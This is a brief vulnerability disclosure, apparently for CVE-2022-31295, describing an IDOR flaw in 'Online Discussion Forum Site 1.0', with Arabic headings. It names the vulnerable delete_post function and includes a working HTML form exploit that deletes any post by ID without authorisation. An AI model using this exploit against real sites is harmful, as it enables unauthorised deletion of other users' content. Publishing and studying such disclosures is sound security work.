bigzooooz/cve-2022-31295Online Discussion Forum Site 1.0 - IDOR / حذف أي منشور
موقع منتدى النقاش عبر الإنترنت 1.0 - IDOR / حذف أي مشاركة
[#] موقع الثغرة:
function delete_post() في /odfs/classes/Maset.php:133
[#] الاستغلال:
<form action="http://localhost/odfs/classes/Master.php?f=delete_post" method="post" id="manage-user"> <input type="text" name="id" value="" placeholder="enter POST ID to delete" required> <button type="submit">Delete Post</button> </form>
